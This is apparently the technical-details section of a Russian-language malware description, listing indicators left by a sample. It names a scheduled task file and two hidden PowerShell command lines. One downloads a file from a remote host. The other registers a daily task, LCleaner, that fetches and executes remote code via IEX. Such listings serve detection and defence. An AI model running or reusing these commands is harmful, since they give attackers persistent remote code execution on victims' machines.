Техническая информация
- <SYSTEM32>\tasks\lcleaner
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -w hidden iwr -outf %LOCALAPPDATA%\Temp/me.pdf http://123123/123.pdf
- '<SYSTEM32>\schtasks.exe' /create /sc daily /tn LCleaner /tr "powershell -nop -w hidden -c 'IEX (irm http://123123)'" /st 15:03 /f